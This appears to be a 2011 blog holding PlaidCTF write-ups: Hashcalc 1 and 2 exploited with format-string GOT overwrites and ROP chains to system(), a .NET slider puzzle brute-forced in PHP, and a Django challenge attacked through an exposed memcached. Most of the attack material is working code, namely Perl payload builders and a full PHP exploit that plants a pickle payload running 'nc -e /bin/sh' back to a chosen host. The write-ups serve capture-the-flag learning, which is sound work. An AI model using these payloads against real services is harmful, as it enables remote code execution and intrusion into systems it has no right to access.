maandag 25 april 2011

pCTF 2011 - Mission #26: "Hashcalc 2" write-up

The second hashcalc challenge is much the same as the first (make sure to read it!). Except this version is launched from inetd instead of being a forking server. This is annoying because it means that stack cookies and library offsets change every run. Let's verify that by adapting our exploit to dump the GOT to the new binary.

#!/usr/bin/perl
my $s = "";

# patch stack cookie failure function
$s .= "\x34\x91\x04\x08".
      "\x36\x91\x04\x08".
      "\x4c\x91\x04\x08".
      "\x4e\x91\x04\x08";

$s .= '%5$34992x%5$n%5$30528x%5$2052x%6$n' . 
      '%7$32910x%7$n%7$30574x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack(
        "IIII",
        0xd1adbeef, 0xdeadbeef, 0xdeadbeef, 0x8048977
);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIII",
        0x8048774, 0xdeadbeef, int($ARGV[1]), 
        0x80490f8, (0x8049150+4)-0x80490f8, 0
);

print $s;

wizard@ace:~/pctf$ (sleep 1; ./clever2.pl 1; sleep 1) | nc -p3000 localhost 2000 | tail -c+47 | hd
000000  6a 86 04 08 e0 d2 65 f7  f0 fb 68 f7 9a 86 04 08  |j.....e...h.....|
000010  c0 64 62 f7 d0 82 69 f7  00 dc 5d f7 a0 b9 63 f7  |.db...i...]...c.|
000020  60 4e 61 f7 00 b6 63 f7  60 42 62 f7 90 e5 60 f7  |`Na...c.`Bb...`.|
000030  c0 0d 66 f7 3a 87 04 08  60 e5 60 f7 c0 88 04 08  |..f.:...`.`.....|
000040  01 00 68 f7 50 84 69 f7  8a 87 04 08 50 82 69 f7  |..h.P.i.....P.i.|
000050  30 ea 65 f7 92 88 04 08  02 00 66 f7              |0.e.......f.|
00005c
wizard@ace:~/pctf$ (sleep 1; ./clever2.pl 1; sleep 1) | nc -p3000 localhost 2000 | tail -c+47 | hd
000000  6a 86 04 08 e0 32 65 f7  f0 5b 68 f7 9a 86 04 08  |j....2e..[h.....|
000010  c0 c4 61 f7 d0 e2 68 f7  00 3c 5d f7 a0 19 63 f7  |..a...h..<]...c.|
000020  60 ae 60 f7 00 16 63 f7  60 a2 61 f7 90 45 60 f7  |`.`...c.`.a..E`.|
000030  c0 6d 65 f7 3a 87 04 08  60 45 60 f7 c0 88 04 08  |.me.:...`E`.....|
000040  01 00 68 f7 50 e4 68 f7  8a 87 04 08 50 e2 68 f7  |..h.P.h.....P.h.|
000050  30 4a 65 f7 92 88 04 08  02 00 65 f7              |0Je.......e.|
00005c

So it's definately being randomized. This can be solved pretty easily by combining the two steps from hashcalc1 into a single ROP sequence: dump GOT to show address of libc, read the pointer for system() from the socket into a spare GOT entry, and then call the plt entry corresponding to that GOT slot.

First, dump the first GOT entry:

0x8048774, 0x8048dd5, int($ARGV[1]), 0x80490f8, 4, 0

Then, read 4 bytes into this GOT entry (the address for system(), calculated by the client using the value we just sent him):

0x80486b4, 0x8048dd5, int($ARGV[1]), 0x80490f8, 4, 0

Now read the shell command:

0x80486b4, 0x8048dd5, int($ARGV[1]), 0x804915c, 0x200, 0

And execute it by calling the plt entry for the overwritten GOT slot:

0x8048664, 0xdeadbeef, 0x804915c

pCTF 2011 - Mission #22: "Hashcalc 1" write-up

The control flow relevant to the bug is as follows:

  • request_handler
    • recv into a 0x400 bytes large buffer (max 0x3ff bytes + NUL terminator)
    • call fprintf on this string (output goes into /home/hashcalc1/LOG, so we can't see it)
    • hash the string
    • reply_func
      • sprintf string and hash using format string "%u (%s)" into buffer of size 0x100
      • send reply string

So what we have is a blind format string bug in request_handler, and a buffer overflow in reply_func. The buffer overflow is normally detected because of a damaged stack cookie however. Since the stack and libs are randomized we really want to have the freedom to explore the address space using ROP instead of just using a printf exploit, so let's see if we can find a way to make the overflow work.

This code is called when a stack cookie is found to be damaged:

8049190:    55                       push   ebp
 8049191:    89 e5                    mov    ebp,esp
 8049193:    53                       push   ebx
 8049194:    e8 74 ff ff ff           call   804910d <getgid@plt+0x719>
 8049199:    81 c3 33 12 00 00        add    ebx,0x1233
 804919f:    e8 d0 f7 ff ff           call   8048974 <__stack_chk_fail@plt>
 80491a4:    90                       nop

So let's disable this by using the printf exploit to replace the GOT entry for __stack_chk_fail with a pointer to something which will simply return control to the caller:

8049186:    5e                       pop    esi
 8049187:    5f                       pop    edi
 8049188:    5d                       pop    ebp
 8049189:    c3                       ret
Find the GOT entry:

08048974 <__stack_chk_fail@plt>:
 8048974:    ff 25 3c a4 04 08        jmp    DWORD PTR ds:0x804a43c

So we want to write 0x8049186 to 0x804a43c.

To build the printf exploit we need to know an argument index that falls into a user-controlled buffer.

Function prologue:
8048d1d:    55                       push   ebp
 8048d1e:    89 e5                    mov    ebp,esp
 8048d20:    53                       push   ebx
 8048d21:    81 ec 1c 04 00 00        sub    esp,0x41c
So esp+4+0x41c = ebp. Our buffer is at ebp-0x408 = (esp+4+0x41c)-0x408 = esp+0x18, and argument index 1 is at esp+8. Argument index = 1 + (0x18-8)/4 = 5.

We plug this into a script that generates printf exploit strings (since I can't be bothered to figure it out manually each time). This gives the string '\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n'. Trying this out against a local copy of the service confirms that this performs the desired overwrite.

(To get a local copy running, you either have to patch the binary or create a user with the expected name.)

In short, as long as we start our string with this format string the stack cookie checking should be bypassed.

We want to use this to build ROP sequences. Since we want fully clean ROP we'll send a NUL byte after the initial return address, so the code that strips newlines doesn't mangle it. This also means we need to use our initial eip control in reply_func to jump up to the buffer in the parent function.

Exploit string so far:
'\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n', padding, fake stack cookie, fake saved ebx, fake saved ebp, ret addr, NUL byte.

Note that the padding needs to make sure that the amount of output generated by printf("%u (%s", hash, fmt_str_plus_padding) is exactly 0x100, which depends on the value of the hash. Since (1-(999/0xfff)) * 100 = 76% of hash values will have length 4 it's easiest just to assume this and fiddle with the string until this assumption holds.

At the point where we take control using our new return address esp has been restored to the value it had in the stack frame of request_handler (ebp has been thrashed though). Recall that our buffer in the parent function is at esp+0x18. We already used up 0x100-6+16+1 = 0x10b bytes, so our ROP will start at esp+0x18+0x10b at the lowest, but let's round it up to esp+0x124.

The most convenient ROP gadget for this operation is this code from the epilogue of reply_func:
 8048bd5:    81 c4 1c 01 00 00        add    esp,0x11c
 8048bdb:    5b                       pop    ebx
 8048bdc:    5d                       pop    ebp
 8048bdd:    c3                       ret    41c

If we use 0x8048bd5 we end up at esp-0xc-0x11c = esp-0x128.

The perl script used to generate the string:
my $s = ""
# patch stack cookie failure function
$s .= "\x3c\xa4\x04\x08".
      "\x3e\xa4\x04\x08".
      "\x58\xa4\x04\x08".
      "\x5a\xa4\x04\x08";

$s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n%7$33507x' .
      '%7$n%7$29977x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIII", 0x8048994, 0xdeadbeef, int($ARGV[1]), 
        0x804a3d8, (0x804a45c+4)-0x804a3d8, 0
);

print $s;
This dumps the GOT. The file descriptor number is given as an argument because on the server it's 5 while on my local install it's 7. Also note that the printf exploit was modified a bit to also convert exit() calls to nops. This was needed because our buffer overflow also overwrites the file descriptor number, which makes the send() which normally sends the reply with the hash fail. Disabling the exit() call allows us to recover from this.

This is the reply from the server:

000000  2a 2a 20 57 65 6c 63 6f  6d 65 20 74 6f 20 74 68  |** Welcome to th|
000010  65 20 6f 6e 6c 69 6e 65  20 68 61 73 68 20 63 61  |e online hash ca|
000020  6c 63 75 6c 61 74 6f 72  20 2a 2a 0a 24 20 40 98  |lculator **.$ @.|
000030  80 b7 d0 9b 83 b7 20 d2  83 b7 30 f6 79 b7 2a 88  |...... ...0.y.*.|
000040  04 08 10 33 7d b7 e0 20  84 b7 a0 20 84 b7 d0 95  |...3}.. ... ....|
000050  7e b7 90 bb 78 b7 20 bf  80 b7 40 88 7e b7 80 70  |~...x. ...@.~..p|
000060  85 b7 30 28 7c b7 a0 1e  84 b7 60 24 84 b7 ea 88  |..0(|.....`$....|
000070  04 08 90 84 7e b7 b0 10  7d b7 c0 c1 7b b7 20 1f  |....~...}...{. .|
000080  84 b7 f0 d2 80 b7 a0 1e  83 b7 5a 89 04 08 90 c1  |..........Z.....|
000090  7b b7 86 91 04 08 01 00  83 b7 60 22 84 b7 aa 89  |{.........`"....|
0000a0  04 08 50 c5 80 b7 e0 23  84 b7 90 af 80 b7 e7 8a  |..P....#........|
0000b0  04 08 02 00 80 b7                                 |......|

Skip the first 46 bytes and we get the GOT...
000000  40 98 80 b7 d0 9b 83 b7  20 d2 83 b7 30 f6 79 b7  |@....... ...0.y.|
000010  2a 88 04 08 10 33 7d b7  e0 20 84 b7 a0 20 84 b7  |*....3}.. ... ..|
000020  d0 95 7e b7 90 bb 78 b7  20 bf 80 b7 40 88 7e b7  |..~...x. ...@.~.|
000030  80 70 85 b7 30 28 7c b7  a0 1e 84 b7 60 24 84 b7  |.p..0(|.....`$..|
000040  ea 88 04 08 90 84 7e b7  b0 10 7d b7 c0 c1 7b b7  |......~...}...{.|
000050  20 1f 84 b7 f0 d2 80 b7  a0 1e 83 b7 5a 89 04 08  | ...........Z...|
000060  90 c1 7b b7 86 91 04 08  01 00 83 b7 60 22 84 b7  |..{.........`"..|
000070  aa 89 04 08 50 c5 80 b7  e0 23 84 b7 90 af 80 b7  |....P....#......|
000080  e7 8a 04 08 02 00 80 b7                           |........|
000088

The first two entries are the addresses of setgroups and setregid. Let's see if their relative offset is the same as in the libc on one of the other game boxes:

0xb7809840 - 0xb7839bd0 == 0x00094840 - 0x000c4bd0

This works out, so we know the version of libc being used and can resolve addresses.

Let's go for a simple ROP: recv some data into a known location in the data section, and then run system() on it.

0x8048844, 0x8049109, int($ARGV[0]), 0x804a468, 0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180, 0xdeadbeef, 0x804a468

Explanation:

0x8048844: recv@plt
0x804a468: our buffer (start of bss section)
0x8049109: pop pop pop ret
0xb7809840 - 0x00094840 + 0x00039180: address of system()


#!/usr/bin/perl
my $s = "";
# patch stack cookie failure function
$s .= "\x3c\xa4\x04\x08".
      "\x3e\xa4\x04\x08".
      "\x58\xa4\x04\x08".
      "\x5a\xa4\x04\x08";

$s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n' .
      '%7$33507x%7$n%7$29977x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIIIIII",
        0x8048844, 0x8049185, int($ARGV[0]), 0x804a468,
        0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180,
        0xdeadbeef, 0x804a468
);

print $s;
So now if we input this to the program, then sleep for a second, and then send it a NUL-terminated shell command it will execute this. Simply send a connectback nc command (bindshell doesn't seem to work, firewall disallowed?) gets you a shell.

pCTF 2011 - Mission 6 - Fun with Numb3rs

Another quick pCTF 2011 write-up. This is a windows Application made using .NET. Upon launching you get 3 sliders with a range of 0-255 and a button. Goal is to find the correct permutation for the 3 sliders. When you enter the wrong slider values you will get a nice failed message.

When decompiling the application using ILspy we find the following relevant code bits:

private byte[] Field_00 = new byte[] {
        20, 0x16, 100, 0x17, 0x15, 0x63, 100, 0x67, 0x18, 0x18, 0x19, 0x60, 0x19, 0x67, 0x10, 0x15,
        0x10, 0x18, 0x16, 0x11, 0x62, 0x67, 0x67, 0x10, 0x17, 0x12, 0x67, 0x18, 0x11, 0x63, 0x60, 0x12
     };
    private byte[] Field_01 = new byte[] {
        0x61, 0x5d, 0x40, 0x40, 0x4b, 0x13, 0x12, 0x6b, 0x5d, 0x47, 0x12, 0x54, 0x53, 0x5b, 0x5e, 0x57,
        0x56, 0x12, 0x4a, 0x62, 0x12, 0x12, 0x66, 0x40, 0x4b, 0x12, 0x73, 0x55, 0x53, 0x5b, 0x5c, 0x13
     };


    private void checkButton_Click(object A_0, EventArgs A_1)
    {
      int value = this.valueBar1.Value;
      int value2 = this.valueBar2.Value;
      int value3 = this.valueBar3.Value;
      int num = this.valueBar2.Value * this.valueBar3.Value;
      int num2 = value * 3;
      if (value + num - value2 + value * value * value2 - value3 == value2 * (value3 * 34 + (num2 - value)) + 7488 && value > 77)
      {
        MessageBox.Show(this.Method_05(value, value2, value3, (byte[])this.Field_00.Clone(), num, num2));
        return;
      }
      MessageBox.Show(this.Method_06(value, value2, value3, (byte[])this.Field_00.Clone(), num, num2));
    }

So in essence we need to pass some math evaluation in order to trigger the code that displays the OK string. Both the OK and FAIL strings are XOR-encoded to not give away anything.


Quick 'n dirty bruteforce tool:
<?
    for($v1=0; $v1 <= 0xff; $v1++) {
    for($v2=0; $v2 <= 0xff; $v2++) {
    for($v3=0; $v3 <= 0xff; $v3++) {
        $num = $v2 * $v3;
        $num2 = $v1 * 3;

        if (
            $v1 + $num - $v2 + $v1 * $v1 * $v2 - $v3 == 
            $v2 * ($v3 * 34 + ($num2 - $v1)) + 7488 && $v1 > 77
        )
            die("GOT IT: $v1,$v2,$v3\n");

    }
    }
    }
?>

blasty@mekboek$ time php brute.php 
GOT IT: 89,144,233

real 0m2.586s
user 0m2.549s
sys 0m0.024s

pCTF 2011 - Mission 13: "Django..really?" Write-up

This is a quick write up of the Django webchallenge from PlaidCTF 2011.

Web application is a guestbook written using Django and can be found at: http://a12.amalgamated.biz/DjangoProblem1

Upon investigation it turns out they have pagecaching in Django enabled using Memcache. Memcache is a key/value store accessible over TCP. The memcache server is publicly accessible on the default memcached port 11211.

Some snooping around on the memcached server reveals Django uses python serialized objects in the cache. Serialized objects in the memcache keystore have a flag of '1'. (We missed this detail for a long time :/)

These serialized objects can be serialized/unserialized using the pickle/cPickle API in python. Pickle is pretty insecure in some regards, as documented here: http://nadiana.com/python-pickle-insecure
Long story short: we can execute commands upon object deserialization.

When we trick the webserver/application into thinking we are requesting a new page that has not been cached yet by appending parameters to the GET querystring we can create arbitrary cache objects. 

By grabbing a list of all cache items in memcached, requesting a new page and grabbing a list of all cache items again we can figure out which cache key belongs to our page.

Without further ado, our exploit:

<?php

    function alert($str) {
        echo "[!] ".$str."\n";
    }

    function info($str) {
        echo "[~] ".$str."\n";
    }

    function read_till_end($f, $last) {
        $buf = null;
        while(1) {
            $buf = fread($f, 8192);
            if (strpos($buf, $last) !== false)
                return $buf;
        }
    }

    function get_keys($f) {
        info("requesting items..");
        fwrite($f, "stats items\r\n");

        $buf = read_till_end($f, "END");
        $lines = explode("\n", $buf);
        $ids=array();

        info("parsing items..");
        foreach($lines as $line) {
            $p = explode(":", $line);

            if(count($p)<=1)
                continue;

            if (!in_array($p[1], $ids))
                $ids[]=$p[1];
        }

        $keys = array();

        foreach($ids as $id) {
            info("parsing slabz ".$id);
            fwrite($f, "stats cachedump ".$id." 100\r\n");
    
            $b = read_till_end($f, "END");

            $lines = explode("\n", $b);

            foreach($lines as $line) {
                $p = explode(" ", $line);

                if (count($p) > 1 && strpos($line, "GET") !== false)
                    $keys[] = $p[1];
            }
        }

        return $keys;
    }

    $payload =  "import cPickle\n".
                "import subprocess\n".
                "class LeetShit(object):\n".
                "  def __reduce__(self):\n".
                "    return (subprocess.Popen, ".
                "(('/bin/sh','-c','nc -e /bin/sh IP PORT'),))\n".
                "print cPickle.dumps(LeetShit())";

    echo ">>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN\n\n";

    if (count($argv) != 3) {
        alert("usage: ".$argv[0]." <ip> <port>");
        die();
    }

    $payload = str_replace("IP", $argv[1], $payload);
    $payload = str_replace("PORT", $argv[2], $payload);

    $fp = fsockopen("a12.amalgamated.biz", 11211);
    stream_set_timeout($fp, 1);

    alert("connected");
    info("key dump #1");
    $oldKeys = get_keys($fp);

    info("requesting unique page");
    $url = "http://a12.amalgamated.biz/DjangoProblem1/?a".md5(time());
    file_get_contents($url);

    info("key dump #2");
    $newKeys = get_keys($fp);

    foreach($newKeys as $key) {
        if (!in_array($key, $oldKeys)) {
            $finalKey = $key;
            break;
        }
    }

    if(empty($finalKey)) {
        alert("could not find correct cache key :(");
        die();
    }

    info("got cache key '".$finalKey."'");

    system("echo \"" . $payload . "\" | python - > payload.bin");
    fwrite($fp,
        "set ".$finalKey." 1 900 ".filesize("payload.bin")."\r\n".
        file_get_contents("payload.bin")."\r\n"
    );

    unlink("payload.bin");

    $result = fread($fp, 128);
    info("cache store result: ".trim($result));
    info("triggering payload.. hold your breath");

    @file_get_contents($url);

    fwrite($fp, "quit\r\n");
    fclose($fp);
    info("maybe you have a shell now :)");
?>


$ php django.php 192.168.13.37 1234
>>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN

[!] connected
[~] key dump #1
[~] requesting items..
[~] parsing items..
[~] parsing slabz 3
[~] parsing slabz 5
[~] parsing slabz 6
[~] parsing slabz 10
[~] parsing slabz 28
[~] requesting unique page
[~] key dump #2
[~] requesting items..
[~] parsing items..
[~] parsing slabz 3
[~] parsing slabz 5
[~] parsing slabz 6
[~] parsing slabz 10
[~] parsing slabz 28
[~] got cache key ':1:views.decorators.cache.cache_page..GET.d5a55afae6133ffdf886097b7ad6a239.d41d8cd98f00b204e9800998ecf8427e.en-us'
[~] cache store result: STORED
[~] triggering payload.. hold your breath
[~] maybe you have a shell now :)